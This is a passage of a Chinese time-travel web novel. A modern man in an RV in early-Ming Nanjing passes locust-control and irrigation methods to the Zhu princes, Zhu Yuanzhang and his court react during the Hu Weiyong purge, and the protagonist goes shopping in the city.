“飞蛾是虫子,这蝗虫也是虫子啊。晚上,点个火,在火附近找人弄多些捕虫网,一晚上也能抓不少。”朱安宁把更为简单,效果却相对没那么好的物理防治法也告诉了朱橚和朱棣。 “就这么简单?!” “就这么简单,不然你们想怎样?我穿个祭祀礼服,上去卜卦跳大神?哎,跟你们两小屁孩说有个卵用,这些法子,得想办法报官府!”朱安宁说着说着,却也有些急了起来,免不了有些污言秽语。 灾民的惨状,他是看在眼里的。 而且听朱棣和朱橚说,这似乎只是灾民的一小部分。 难道说野史里的扬州十三户是真的么……元末到明初这段时间……是有多惨啊。 朱安宁知道现在不应该再纠结那么多了。 这些法子,要是朝堂那边能早一日知道,灾民们便会少一些…… “报官府?那简单,让家里和朝堂里的人说一声就好。”朱棣点了点头,他虽然不太确信朱安宁的法子是否真的有用,但是这天灾连连,无论如何需要试一试。 “哦对对对,你们爹认识点户部的人,刚好户部就是管这个的,你两赶紧回去跟你们老爹说,赶紧上报,我再讲一遍重点,点灯捕蝗,只是权宜之计,归根到底还是得水利到位,消灭掉那些涸泽,蝗虫自然就会大大减少。” “哎呀我个傻逼,水利是吧。小燕你先回家告诉你爹治蝗的事情。小周你留下,我这边还有东西要给你。” 朱安宁猛地拍了下脑袋,对朱棣和朱橚吩咐道。 朱棣自然是没什么意见,他在心里默默记下了朱安宁交代的事情,向远处跑去。 得早点把这些法子告诉自己老爹,能行的话早点颁布下去,说不定今年那些遭灾的地方还能有点收成! 而朱橚,则是乖乖地等在了原地。 至于朱安宁,他早就跑回了房车里。 再一次点开了农政全书。 这书真是救命了,如果是现代水利工程的书,那是屁用没有,生产力跟不上啊。 水利篇! 这大概是农政全书里最重要的篇章了。 老徐根据“丙北”、“东南”地理之不同,提出一系列水利工程规划及措施,并引王祯《农书》的水利图谱以及熊三拔口述和他本人笔记的《泰西水法》,总结出了一系列行之有效的方案。 这是肯定要比现在老朱团队的水利方案要高效的。 不多时,这水利图谱和书中文本,就被他打印了下来。 之前不拿出来,原因很简单。 这种涉及到民生的大工程,是很难提交上去的。 还有一个重要原因就是,老徐的数据太细了……细到交上去人家说不定会怀疑你身份的那种。 朱安宁不想惹祸上身。 而现在,也顾不得那么多了。 一咬牙,朱安宁跳下了房车,快步跑到了朱橚的身前。 “小周,这是我师父游历大江南北所撰写的书籍,你且收好,上面详细撰写了各项水利工程的详解,绝对是行之有效的那种……你信我……” 朱橚看着被塞到自己怀中的纸张,也是有点懵逼。 作为未来的大科学家,他的技能点基本都点在了草药,植物上,这种繁复的工程图解,他看一眼就脑袋晕。 只是看朱安宁如此认真的样子,也是知道这东西的重要。 “朱哥……这些也上报么?” “对,你也赶紧去吧,朝堂里面肯定有识货的人的,不出意外的话……” 朱安宁在心里叹了口气。 这份东西,只要交到自己知晓的任何一个明初的大佬手里。 以他们的眼力,是绝不可能走眼的。 只是希望能顺利交上去吧。 难得地,朱安宁开始祈祷了起来。 当然,他不知道的是,他提交的东西,是直接会给到朱元璋那的…… ———————————— 朝堂内。 现已重新恢复了秩序。 内阁制的颁布,花费了大量的时间。 主要是要给点时间给文官们消化。 朱元璋看着开始慢慢恢复理智的文官们,终于是松了口气。 早上把胡惟庸拖了下去,他就马不停蹄地开始颁布内阁制,就是想裹挟刚才的威势,强压那些文官们的反弹。 事实证明他的做法是对的。 对于这种违背祖宗的决定,大部分文官都是相当不满的。 他们并不是不满内阁制,而是不满少了宰相这个职位! 这可是文官巅峰,每个读书儿郎的梦啊! 就这样被这朱八八给掐了。 要不是那内阁制实在精妙,且早上胡大人的音容笑貌还未消退,他们肯定是要开始闹腾的。 冷静下来的群臣们,也逐渐开始去理解那内阁制。 最后,不得不在心里说个服字。 既去掉了相权的制衡,又不会说让文臣无首……最重要的是这内阁只有谏权,并无真正实权…… 这朱老板好算计啊。 正当朱元璋松了口气的时候。 他的内侍太监凑了过来。 “陛下,这是燕王殿下和周王殿下的密信。” 燕王? 老四不是在朱安宁那里耕田么? 而且老五怎么也给咱密信了,莫不是又说要去那山里吧? 朱元璋心里冒出了一百个问号。 第四十三章 朱老板的笑 治蝗的法子? 水利? 因为还在朝堂上的缘故,朱元璋只是扫了一眼。 毕竟下面文武百官都在那看着他,他也不可能仔细看里面的内容,只是粗浅地看了个开头。 只是一个开头,他的眉头的就皱了起来。 这两件事情…… 可是大事,怎么老四就算了,老五也提意见了? 而且老四应该还在朱安宁那里才对啊。 看着在殿上沉默不语的朱元璋。 下面的百官不由得也开始噤声。 不少人都在心里嘀咕。 不是吧……还有倒霉蛋??? 这些日子已经杀了不少大官了啊。 就怕一会老板不开心,又要有人步那胡惟庸的后尘。 伴君如伴虎,这句话真是太实诚了…… 朱元璋倒是没想到他简单的一个沉默,会让下面的人这般多想。 过了不知多久,他才开了口。 “无事退朝吧,一会户部尚书杨思义,还有诚意伯,来后殿找咱。” 一众文武大臣,听得朱元璋说可以解散,都不由得松了口气。 但是,脸上多多少少都带了些忧愁的气息……连出门都不敢结伴而行,就怕那谁谁谁和胡惟庸有关系,自己就这么说了一句话就变成了胡党,那就死得冤了啊。 今儿的早朝可算是吓破他们胆了。 前些日子,杨宪伏诛,汪相也无了,这就算了,这权势滔天,看着最安稳的胡相,现在也成了阶下囚。 死是跑不掉的了,就是不知道又要牵连多少人,朱老板的屠刀可是锋利得很的。 与胡惟庸有关系的那一众淮西大臣,都想早点回家,加紧和胡惟庸的切割…… 只有那户部大臣杨思义苦着个脸,有些无奈。 说起来他明面上既不属于淮西,也不属于浙东,勉强算来就是老朱打天下的时候顺带归顺的文臣而已…… 现在这节骨眼,老板把他留下了,怎么看都不是好事。 却也不敢反对,只能应承了声。 至于刘伯温,他早已想到说老朱会把自己留下,那是直接动都没动,一直候在那儿。 两人在太监的带领下,很快也离开了大殿。 殿内,现在只有那朱元璋和朱标站在那里。 “标儿,胡惟庸怎么处理?他这谋逆之罪,直接坐实就好了,罪状都省去了,你听听他在朝堂说了些什么。” “骄横跋扈,出言不逊,结党营私,罪当诛……” “废话,他干了那么多破事,还能活?咱是问你其他人。今儿把他们放了回去,你就看,他们会做出什么丑事来吧。指不定昨日还是胡惟庸的老相好,今日回去就马上装得和那胡惟庸相毫无干系。” 朱元璋眯了眯眼,看着殿外越走越远的那批大臣,轻哼了一声,他向来不太喜欢文人,特别是杨宪案后。 朱标可太懂他老爹了。 “父皇,牵连甚广,慎重啊。” “全杀了,换一批上来不行?天下文人那么多,各个都想当官,咱就让他们当个过瘾!”朱元璋眼角闪过一丝厉色,像是半开玩笑似地说道。 语气是开玩笑,朱标知道,做起来就不是开玩笑了,他连忙说道。 “父皇,都尉府那边已经开始调查了,那胡惟庸真正亲近的人,不能遗漏,但是仅是些正常来往的话,是否可以酌情处理,比如把他们下放到地方……” 他半劝半说道,给出的法子确实可以减少许多杀戮,又能让有罪的人得到惩罚。 “标儿,你真的这么想?” “新朝新政……不宜太过……” 朱元璋看了看眼前的朱标,也没有马上反对,而是呵呵笑了两声。 “不急,你且派人先去查,查完再说,咱就是想看看这胡惟庸这么多年,是谁和他最亲近,谁和他最多交往。” 朱标被他老爹的笑声,弄得有些毛骨悚然,不自觉地也是叹了口气。 看来,自己的劝解无效啊……这杀戮,是免不了了。 “对了,标儿,先跟我来文华殿,你四弟五弟送急信进来,和今年的旱灾和虫灾有关的事情。”朱元璋顿了顿,对着远处突然又喊了声:“去韩国公府里,让他也来文华殿,咱来看看他哪里不舒服。” 朱元璋对着下面的内侍太监吩咐了两句。 ———————————————————— 小路上,朱安宁又看到远处陆续来了点灾民。 不及第一波浩荡,但是那惨状,是过之而无不及…… 如果连应天府都在安置灾民。 朱安宁都不敢想其他地方是什么境况。 会不会是,只有江南地区还能生活啊…… 生产力低下的封建社会,在战乱之后,本该是休养生息的年份。 但是元末到清初,都是小冰期…… 灾荒不断,全靠老朱家开头几代皇帝和太子还算靠谱,总算是让神州大地恢复了些生气。 这些都是教科书上的内容。 而直面灾民的朱安宁。 也知道,再挺个十几年,一切都会好起来的。 洪武之治、永乐盛世、仁宣之治…… 会好起来的。 只是,远处还有灾民在倒下。 然后又被人搀扶起来。 那些所谓的随行官员,也没有比灾民好到哪里去。 那破烂的衣裳,隔得老远都能看见。 能不能……尽快好起来呢? 退回房车里的朱安宁,叹了口气。 他没有宏伟的志向,也没有牛逼的能力,撑死了就是个经过社会毒打的年轻社畜。 但是,他也是个看了长津湖会情绪上涌,去到大屠杀纪念馆会咬牙切齿的,青年。 所以他才会把那水利篇给交上去。 或许,这会给自己带来麻烦…… 但是,能让远处那种境况少一点……应该是值得的吧。 他站在房车边上,没有进去,而是又走多了几步,来到了他的实验田面前。 “这土豆和番薯必须成功!玉米也是!” 朱安宁咬了咬牙。 接着才回到车里。 毕竟是正午时分,房车有点热,他不得已开了空调,试图让自己冷静下来。 然后点开了电脑。 开始看起了大学时的那些书本,和资料。 他只希望,自己学的半桶水的知识,能给这片已经千疮百孔的大地,早点带来些转机。 第四十四章 拍烂大腿 文华殿上。 朱元璋没有开口。 他在细细地读着朱棣和朱橚递上来的信件。 特别是朱橚信件里面夹的那几张纸。 他一下就看出来了,这纸的材质,明显是和昨日那蒯富递上来的一样,这是朱安宁那边才有的白纸! “治虫可用人力?夜晚以火把引虫,四周结网捕之……有点意思……”朱元璋在那喃喃自语。 而另一边的朱标也忍不住开了口。 “父皇?这能有用?” “老五的信上说了,蝗虫也是虫,飞蛾扑火,这蝗虫也会扑火,行不行今晚让人验证下就成了啊,而且老五也说了这仅是权宜之计。故涸泽者,蝗之原本也,欲除蝗,图之此其地矣……要真正治好这虫害,需要漫灌干涸的泽地?还有这说法?” “五弟的意思是,旱灾过后,往往有虫灾的意思是,那些蝗虫卵是在那些干涸的泽地里的意思?”朱标有些懵。 他不同于朱元璋,他对农家一事,并不是那么擅长。 朱元璋就不一样了。 代代贫农,那是农民中的农民。 只见他皱了皱眉头。 似在回忆般。 “确实是这么个理……但是干旱就是缺雨啊,知道原因,咱也没办法变出水来吧……” “父皇,这里还有几张纸。”朱标在一旁提醒了下。 “咱刚看到了,肯定又是朱安宁那边给的东西,我看看……”两人都凑到了那纸张面前,看了起来。 而后殿内便陷入了沉默之中。 陪侍太监如往常那般,是守在外面。 两人的呼吸声,在交错着。 直到朱元璋猛地拍了下大腿。 “这……这……这引水的法子,真的可行?还有这蓄水以应对旱年……这又是朱安宁想的法子?!” 不仅是朱元璋在那震惊不已。 连朱标也跟着拍了下大腿。 他比朱元璋看得还要细些。 那些纸张旁边是标注了图解的,那一条条河的形状精确无比,具体在哪里开渠,哪里蓄水,哪里可作为产粮区,上面写得是一清二楚,一看就是可以直接拿来用的法子。 “父皇,这是切实可行的啊,您看,这里有图啊,咱们这些年不也是在兴修水利嘛,工部那边一直苦于没有好的法子,就是在一边试一边挖,太慢了,有了这些图纸,那太省事了啊!!!” 关于水利的修建,相当部分都是由他这个常务副皇帝负责的,所以他才会比朱元璋还激动。 他是知道这些图纸的价值。 “当真?”朱元璋看着比他还高兴的朱标,开口问道。 “这地方,咱们也在修渠,但是一直不知道该怎么引,具体要不要连同其他河流,它这图解上就直接标注好了,怎么好像是已经修过一次的那种感觉啊……太不可思议了!有这图纸,工部的进程会快上许多啊!”朱标一举把那农政全书的水利篇给抽了出来,像看宝贝似地看了又看:“父皇,那朱安宁究竟是什么人啊,这些图纸他哪里得到的?!” 朱元璋看见那快要乐疯的太子,也是无奈得摇了摇头。 他哪知道朱安宁哪弄来那么多稀奇古怪的东西。 “父皇,我想见见他。” “行……” 朱元璋话音刚落。 门口的太监便突然高喊了起来。 “诚意伯刘伯温,户部尚书杨思义到。” “刚好,他们也来了,你若是觉得真的可行,那咱们今天就把这治虫的法子先定下来,然后关于水利的事,越快越好,老五不是说了么,治本,还是得看能不能把那些干涸的湖泽一类的解决掉。” 那刘伯温和杨思义,很快就进到了殿内,对朱元璋和朱标行了个礼。 朱元璋却只是摆了摆手,让他们先坐。 “再等等一个人。” 等人? 刘,杨,都是官场老油子了,立马就想到了,应该是在等李善长。 虽然这两年这韩国公已经不怎么对政事发表意见,但是每逢大事,总是少不了他的身影。 今儿胡惟庸案发,他却忽然请了个假。 很多有脑子的官员就已经想到了这韩国公是早就收到了消息,在躲呢。 毕竟胡惟庸可是他一手提拔上来的人。 不多时,一个气喘吁吁的老人便在太监的带领下来到了文华殿。 “臣李善长,见过上位。” 李善长顾不上气喘,进来便要行李。 他在家里已经听闻了朝堂发生的事情。 一切都在意料之中…… 而唯一的意外便是,朱元璋的急召。 是出了什么事情么? 内阁制早就定好了啊,连第一批名单都筛选出来了。 难道是胡惟庸的事……是朱老板还是不相信自己? “韩国公起身坐下吧,今儿找诸位来是想商量下虫灾和水利的事。” 朱元璋看见人齐了,也没有再继续装深沉,而是开了口。 “咱这已经寻到了法子去解决这两件事情了。这些年天灾不断,就算咱直接免了那几个府县的赋税,也无济于事啊,那些地界连收成都没有,人都快活不下去啦,咱得想法子解决问题,不然把这天下打了下来,农民还和那元人时过得一般苦,有何意义?!” 老朱长长地叹了口气,他是切实想为农民们做些事情的,不然也不会受那杨宪蒙蔽。 如后世对他的评价那般,你可以说他残暴不仁,刚愎自用,生性多疑,可以说他虽是个开国皇帝,却是个对文人极差的土皇帝,但是,你绝对不能说他对农民不好。 听着朱元璋开了口。 朱标连忙拿着那几张纸凑到了李善长刘伯温杨思义三人的身边。 而杨思义终于也是松了口气。 找自己来干本职工作就好,就怕是非本职的事情…… 至于搞定虫灾,兴修水利。 那不好意思,他是悲观的,因为灾民就是他一手处理的,也只有他知道,这几年的灾情……有多么绝情。 只是,他的悲观情绪很快就被扭转了。 “若按太子所说!这治虫的法子如果能略微减缓虫害!而虫害来源便是那涸泽,那待到这图纸上的水利完工!!!那虫害不就能解决大数了么?” 户部尚书,杨思义,也如刚才的朱元璋和朱标那般,用力地拍了拍自己的大腿。 而刘伯温和李善长的眼中,也冒出了精光。 三人,都不约而同地看向了老朱。 第四十五章 为民着想的神秘人 几人定那治蝗的事情和修水利的事情,花费了许久,甚至最后朱标还把那工部尚书都叫了过来。 那工部尚书一进来,便被几个人拉住说个不停,直到朱棣把那图纸递了过去。 不看不要紧,看了不过片刻,那工部尚书眼泪都快要流下来了。 这是什么工部专用神奇武功秘籍啊! 苍天啊,要是早点有这几张纸,自己至于日夜担忧工期不够,河渠挖得有问题么。 毕竟在朱老板手下做事,机会基本只有一次啊。 只见他颤颤巍巍地握住了朱标的手。 “殿下啊,殿下啊,按照这个修整,根本就不需要耗费那么多人力物力的啊,你看这里……还有这里……这图解所言是真的么?按他修真的可以么?” 朱标被他激动的样子弄得哭笑不得,却也知道最近他担了多大的压力。 干旱已经持续了许久。 而老朱一看到他,就黑着脸问水渠呢? 一副再不来水,就要拿他去祭天求雨的样子,谁遭得住啊。 看着那一众讨论得热火朝天的大臣和朱标,朱元璋总算是松了口气。 看来,这干旱的事情,终于要迎来转机了。 下雨是天管的事情,朱元璋他管不了。 但是天要是这么一直不下雨,这农民可就遭大罪了啊。 修通几个关键位置的水渠,成了现在的重中之重。 虽然没有办法缓解全部地区,但是只要有几片土地能够缓解下来,那么迁徙流民的压力就会小一些。 情况也自然会向好的方向而去。 朱元璋知道水利基本都是由他的好大儿一直主导的,便也就让他们去一旁商榷。 自己却抽了个空,走到了外面。 他准备去另外一间偏殿。 那里,还有人在等着他。 在不久前,他又收到了第三封密信,是由他的亲卫戚祥发出的信件。 上面详细描述了早上,朱安宁朱棣朱橚还有那九江儿的事。 细节详尽,过程清楚地说清楚了几人的动向。 看完信件,朱元璋便也把事情理通了。 朱元璋缓步走在宫内廊中,眉头微蹙,目光深邃。 原来自家老五是这样和那朱安宁凑到了一起,也真是巧了。 待朱元璋走进那殿内的时候。 有两人迅速站了起身。 “父皇。” “父皇。” 正是已经等候多时的朱橚和朱棣。 “啧,老五你也去了那朱安宁那儿?老四你说说怎么回事?” 朱元璋没有多余的话语,直接就是提了问题让朱棣回答。 那朱棣哪料到他老爹那么直接,一时有些慌神。 他大脑疯狂地转动了起来,在想该怎么去圆朱橚想跑路和九江儿当街纵马这两件破事。 而很快,他就想通了。 这事,瞒不过去。 因为是在城内发生的事情…… 于是,他叹了口气,一五一十地开始说了起来。 算是言简意赅,没有什么废话。 “父皇……事情就如我刚才讲那般,五弟只是一时玩心起,至于那九江儿也是被我吓着了才会纵马,请父皇饶过他们……” 完了他还不忘给两人求情。 朱橚听着他四哥这般说辞,也是知道在帮自己,连忙也是和朱棣一起乖乖地伏在了那里。 而朱元璋看着眼前的老四和老五,悄悄地点了点头。 老四确实挺让人满意的,这老五就……天天想跑外面,也不知道想干嘛……哎。 只是不管是哪个,都不如自己的好大儿优秀! 大儿就是大儿! 满意归满意,态度还是要端出来的。 他轻哼了声。 “老四,咱问的是老五怎么也跑朱安宁那边去了,咱是怎么交代你办这事的?” “父皇……”朱橚正想说些什么,却已经被他四哥一把拉下。 要说那几个皇子了解朱元璋,他朱棣是能排上号的。 “父皇,是我办事不力,请责罚我。” 道歉就对了,不要说太多的东西,顶嘴就是挨揍……何必呢。这便是朱棣同学的生存之道。 当然,朱元璋也根本就没起什么责罚的心思,他更多的是想知道那两封信究竟怎么回事。 “责罚就算了,下次老四你自己看着办。还有老五你既然也去了朱安宁那里,你不是老是嚷嚷要出城么,这次咱就让你出个够,你去给你四哥打下手,陪着去耕田吧……” “当真?” 结果,朱橚却一把跳了起来,那高兴的表情,是根本就不想藏起来的样子…… 这可把老朱整无语了。 耕田这事……可苦了好么,怎么自己这两儿子现在好像都不是很抗拒的样子啊……特别是老五…… “咱让你去就去。”当然,老朱的气势是不能输的,他一拍桌子,站了起来:“对了,你们今天送上来的东西,又是朱安宁出的主意?” 说了老半天,老朱终于回到了正题上。 朱棣,则和朱橚对视了一眼。 最终还是朱棣先开了口。 “原本我和五弟,只是和朱……朱安宁在那侍弄田地,然后远处那官道那儿忽然来了一大批迁过来的灾民。那朱安宁看了很久,然后突然就告诉了我除蝗的法子。让我赶紧找关系报给官府,说是能让农民好过一点算是一点。” 朱棣刚说完,朱橚便也接上了话。 “他让四哥送那除蝗的法子后,就让我等在那,然后就塞了份关于修水利的纸张给我,说是他师父所著,让我也速速送给官府……” 朱元璋听完朱棣和朱橚的话。 陷入了沉思。 “他师父?不是就会观星么?怎么连这也会了?那之前的营造图解又是哪来的?”他在心里嘀咕着。 之前只觉得这年轻人虽然神秘,但是还算有趣。 而现在来看,好似……是真的很神秘啊,这样的年轻人……突然出现在应天府郊外…… 不过,他见了灾民,就立马献策和献书……确实也算是为民着想的人。 说不得,得再找个时间,去他那溜达溜达。 朱元璋打定了主意。 只是现在眼下要事太多,需要他去处理。 待到略微闲时,他定是要去再吃喝一番的。 那麻辣烫真带劲。 下次再让他做。 第四十六章 看书,是需要些理由 “对了老四,老五,你们觉得这朱安宁怎么样?” 在殿里寻了个位置坐了下来的朱元璋突然又开了口,问道。 他的声音在空旷的殿内回响。 朱元璋也没想着自己这两儿子能马上回答。 人是复杂的。 所以评价人也是复杂的。 他饶有兴致地看着陷入沉思的两人,颇有些期待着他们能说出些什么。 “有趣。”朱棣想了很久,又添了个词:“仁义。” 他说得不大声,而这等评价却也让朱元璋笑了起来。 朱元璋只觉得确实准确,他不时就想去朱安宁那,便是因为他有趣,做的吃食有趣,说的话有趣……人是有趣,因为他不认识自己,那更是有趣。而且看他今天的表现,那是相当有仁心了,明明天天嚷嚷着不当官,一副不想和官府有瓜葛的样子。结果一看到灾民,却想也不想,就把计策和东西献了上来。 而且看起来却也是良策。 那几张图纸,想必也是非常有用吧。 所以说,只认识了这朱安宁不过短短几日,怎么就迎来了这么多变化呢? 难道朱安宁是上天派来助自己经营天下的大才? 他不由得生出了这样的想法。 朱元璋对朱棣微微点了点头,算是表示了认可。 他的这个动作不由得让朱棣松了口气。 老四一向害怕,却又尊重父亲,今天能得到父亲的认可,也算是一件值得开心的事情。 “老五你呢?”朱元璋又转头看向了朱橚。 “回父皇,我与朱安宁相处时间不长……也觉得如四哥所言,是个有趣的人,而且博学,虽说实际耕种时好似不太有经验,但是本质上还是相当了解的,对于植物草药的认知,更是深刻……” “不是,他还会认草药?!他脑袋怎么长的……” “禀父皇,不止是会,那是相当有见解……有别于我看过的书本里的说法,但是他却说得相当有理。” 他虽然不是很喜欢老五天天抱着那些草药书在那啃,甚至还在府里开辟了田地种植草药和菜……但是,他还是认可他儿子在这方面的天赋,毕竟是御医们都夸赞这个老五,若不是皇子,那定然也能培养成一代良医。 现在老五说朱安宁有独特见解,那肯定就是有独特见解。 …… “好啊,这样的人才,你们说不用一用,是不是浪费了啊。”朱元璋哈哈一笑,想到了之前就有思考过的事情。 恰好,今天也印证了,这朱安宁是个有仁心的人。 那就刚好了,可以执行。 “但是父皇,朱安宁好像很抗拒和官府有关联的样子……”朱棣踌躇了半天,还是补了句话,说得小心翼翼的,生怕惹恼了自己的老爹:“做官的话,他肯定是不答应的啊。” “我又没说让他当官!”朱元璋还在笑着,继续说了下去:“他不是心疼灾民么,他不是想当地主么,那咱就成全他,最近迁来的灾民了,分些过去,给他当佃农,就说是官府统一安排,不许闲置土地,都要给咱开垦出来。等他的宅子建好就安排下去,那蒯富说了,一周就够了是吧。” “是的,父皇,蒯工说一周就够了,朱安宁也安排了蒯工把咱们要试种的田地给围起来,所以也不怕佃农看见。” “行,那你两到时把这消息用些法子透露给他就行,现在时日也不早了,你们就明早再过去吧。我倒是想看看,他能不能又搞出什么新花样来。” —————————————————— 时间回到更早些的时候。 刚过正午,太阳愈发毒辣。 朱安宁开了许久空调才把这温度降了下来,爽是爽了,但是空调的耗电量,是巨大的。 十几度的电池也扛不住一直高强度地开着,毕竟这是明朝,可没有什么快充慢充,他补电的方式就是太阳能。 其实油箱补电也是一条路径,但是和现在一样,化石燃料是不可再生能源!对现在的朱安宁来说是超不可再生能源! 能少点用就少点用吧…… 朱安宁去看了一眼那房车的电量。 又掉了1%,虽然不多,但是那微微的焦虑感最终还是让他选择了节能模式,压缩机不要动那么勤快,温度降下来后,给咱吹吹风就好…… 中午送走了朱棣和朱橚两兄弟,朱安宁便也知道今天下午他们应该是不会回来的了,要把那两件事情报上去,肯定还是要花些功夫和手段的啊。 于是他又盘点了一次物资,把冰箱里的东西也整理了下。 还顺便去看了下田里的那些土豆和番薯,本想是快点把那些玉米也种下去的,无奈太阳太过毒辣,中午大概是种不活的,不敢冒这个险的朱安宁。正准备回车里时,看见了从荒地那边回来的工匠们。 正是去了旁边小树林里休息,现在准备回来干活的蒯富一群人。 简单招呼过后,在叮叮当当的声音中,朱安宁才回到了房车里。 结果,脑袋里面,挥之不去的,依旧还是那群灾民。 《1942》电影,很惨。 路上的灾民,也很惨。 一个是荧幕看见上,一个是直接看见,冲击力,差了许多。 于是,平常看书就是得过且过的某人。 开始了重新学习之旅。 那些早就分门别类好的资料,被他一份份翻了出来。 原本及格万岁的各学科ppt,也逐个开始点开。 看得,比高考时还认真。 结果不知不觉,就来到了傍晚。 车外的叮当声也已经消停,不必说,工匠们已经离开。 听着外面清静下来,朱安宁也终于可以重新下车。 他伸了个懒腰,开始盘算了起来。 “书可以慢慢看,这繁体字,也得想个办法学一学了……不然在这古代我算是文盲?这可不行……然后,得再进一次城里买东西才行,不然迟早吃光车里的东西。” 想到今早发生的事情……他就一阵无语。 秦淮河刚看了两眼,就被那李三江吓了个半死。 完了就被那两兄弟架了出来…… 明天,不会又遇上什么倒霉事吧…… 第四十七章 市井街口 应天府外,清晨的荒地宛如一片沉睡的古老世界。野草被露水打湿,泛着晶莹的光泽,晨雾缭绕着。 一条清澈的河流蜿蜒穿过荒地,河水潺潺。 一片祥和。 唯一不和谐的是,叮叮咚咚的敲打声…… 如果放在现代,一大早被装修声吵醒,朱安宁一定会想报警。 但是现在,他不仅没法报警,甚至连抱怨都没法抱怨……因为那些吵闹的工匠,建的是他的房子。 被迫早起的朱安宁只能在挣扎中穿好了衣裳,然后一副半死不活的样子下了车和蒯富等人打招呼。 “蒯工,这么早啊……” 半睡不醒的他眯着眼说道。 那蒯富见朱安宁开了门,哪敢怠慢,一路就小跑了过来打招呼。 听见朱安宁的说法,他连忙回应道。 “朱公子,这不是想要做快点么,老爷和您都说越快越好,我这就让兄弟们加紧干……” 朱安宁半眯的眼睛,太有含义,而蒯富,刚好会错了意。 哎呀,这帮兄弟还是懒惰,起来得太晚了,不行,明日得要更早些,好让这朱公子满意。 姓朱……和燕王周王殿下勾肩搭背……他都不敢想这身份有多恐怖。 朱安宁自是不知道蒯富的想法的。 如果知道的话,他肯定不会眯起眼睛…… 背过身去的他打了个哈欠,摆了摆手:“好好,交给诸位了,我今儿进城一趟。” “好嘞,您慢走。” 从下车到离开,没有花多少时间。 很快朱安宁就走到了那个路口。 草堆里在盯梢的亲卫立马动了起来。 他是昨日被戚祥替换过来的倒霉蛋……之前的倒霉蛋终于可以回去歇息。 只是,戚祥是没有人可以替换的,因为他是朱元璋指定负责守卫这里的人…… “戚哥,人出来了……”那亲卫摇了摇在一旁睡得不甚安宁的戚祥。 没办法,这地界是河边,蚊虫是少不了的了。 而那戚祥被推醒的一瞬,便也立马警觉了起来,毕竟他早年是跟着老朱行军打仗的,这点警觉性还是有的。 “人?那小哥又出来了?” “对,看他走的方向好像是要进城。” “哦,好,我去跟。”只见那戚祥一个翻身,悄无声息地动了起来:“你们继续在这里吧。” 说罢他便跟了上去,在朱安宁的身后晃荡着。 “哎,又进城啊……城里有啥子好嘛,天天进城,别又和什么纨绔子弟起矛盾撒,那群权贵子弟,天天屁事不管就知道惹祸哎……” 戚祥在心里叹着气。 昨天的事情还历历在目,要不是他及时出手,这小哥怕不是已经被那马给撞飞了,真是不让人省心…… 土路并不蜿蜒曲折,毕竟是官道,但却也因为是不怎么使用的偏僻官道,尘土还是多些。 风吹过时,带起一片片尘土,它们在空中飞舞,与泛白的晨光交织在一起。 这种宁静致远的感觉,很让朱安宁受用。 前些日子穿越的兴奋。 昨日灾民的冲击。 他有太多情绪要消化。 不是人人都是那些神经病般的主角,坚韧不拔,心思敏锐,做什么成什么样。 归根到底,朱安宁也只是个普通社畜。 路旁的野草随风摇曳着,露珠终于绷不住跌落了下来。 朱安宁深吸了口这清新的空气,不免又走快了两步。 大半个时辰,那城门终于出现在了眼前。 而来到此处,人气终于是旺了起来。 昨日已经来过一次,朱安宁也算是熟门熟路了。 很快他就走到了大街里。 而这次,他却没有再拐向秦淮河的方向……而是目的明确地问了个路人后,走向了街口贩菜的地方。 补充物资,比什么都重要。不能再随便消耗现代带过来的东西了,天知道以后会遇上什么事情…… 这是朱安宁的想法。 而且说起来也好笑,他身怀巨款,却还未正式在这个朝代花过钱银。 就算是他这种非文科生也是知道的,洪武朝时期各类货币都通行,合法的不合法的,观察了一阵他便也知晓了,得用洪武通宝……自己的手里的银两好像面额有点大。 于是他又悄咪咪地摸索了一阵,终于是找到了兑换的钱庄,换了些通宝和宝钞,只是他也知道这玩意就是靠老朱的强制力去维持的,实际价值也就那样,所以只换了部分。 接着又回到了街口那里观察了许久,总算是大概摸清楚了物价,才是开始买东西。 这一番操作可把戚祥给看傻了。 这小哥是在干嘛……一副做贼似的样子,不说还以为是别国的间谍…… 而朱安宁哪知道还有人在观察他。 他现在正沉浸在快乐的购物时间之中。 “我靠,这猪应该是散养的吧,怎么比我们那时肥这么多!我丢,这些菜应该也是纯天然无农药的吧,放现代得卖多贵啊……鸡!这鸡怎么这么大!是和现代的品种不一样么?”他像个好奇宝宝一样一边逛一边感叹。 市井气息浓厚的地方,最是能让人感受到安稳的气息。 朱安宁在人群中穿来穿去,手里不多时已经拎了一堆菜肉。 而后,他突然停下了脚步。 是几个穿着布衣的大妈在闲聊。 “我跟你们讲哩,昨日那官兵,一下就保卫了那胡大人的府邸……黑压压一片好吓人的咯。” “唉哟,这事都传遍城里的啊,是不是那胡大人也和汪大人杨大人一样犯事了呀。” “朱皇帝对贪官不是恨之入骨嘛,估摸是那胡大人贪污了罢。” “你懂个甚,人家胡大人都做到宰相了,几个钱银算什么哩,咱听说的是啊,那胡大人要造反?!” “你在说些什么呀!” “你们这就不知道了吧,咱小姨子她七舅姥爷的二叔公就是侍郎家里的家丁,说啊,那胡大人旧宅井里涌出醴泉,算命先生说他也是当皇帝的命,他就造反啦。” “嗨,就冒口泉水就想当皇帝,这胡大人也是脑子冒水了吧,也不想想咱们朱皇帝是怎么坐上那个位置的啊,真是的……” 第四十八章 佃户耕田,天经地义 市井里人声鼎沸,吆喝声、谈笑声不绝于耳。 各个摊位上摆满了各种肉菜,琳琅满目。 茶馆早已开门许久。 而街头的巷尾正是大妈们聚集的地方。 不远处好像也有另外一波人在说这个话题。 说者无意,听者有心。 朱安宁眼睛瞪大了站在了那里。 “我日……胡惟庸案就爆发了!?这不是才洪武十二么?……我靠,不对,刘伯温都可以不死,那这胡惟庸早点死好像也没什么啊……” “不对不对……胡惟庸案前前后后死了多少人,这只是个开始而已!” 他的心跳不免快了几分。 然后…… 便也是摇起了头来。 “关我屁事……老朱怎么屠也屠不到我头上吧,只是可怜了那些无辜的牵连者……” 在他的认知里,他现在和这些在街边唠嗑的大妈,并没有什么区别。 都是些只能键政的屁民而已。 在这种历史大事面前,他大概就是一粒尘埃罢了。 他全然未知……是他随口的内阁制,让朱元璋率先发动了对胡惟庸的制裁。 于是,只认为只是屁民的朱安宁,又开始了快乐地买菜买肉,直到太阳越过屋檐,肚子终于是抗议了几声。 朱安宁连忙寻了个早餐摊档坐了下来,学着电视剧里那些主角那般挥了挥手,叫小二上了碗面。 毕竟还是饿了,即便没有科技加持,他也吃得很香。 隔壁几个穿着也同是在吃面的老汉,说的话,却也引起了他的注意。 “城外安置了一堆外地的流民。” “听说是要给他们寻些地,做官家的佃农罢。” “啧,西城外一堆荒地,随便给他们耕呗。” 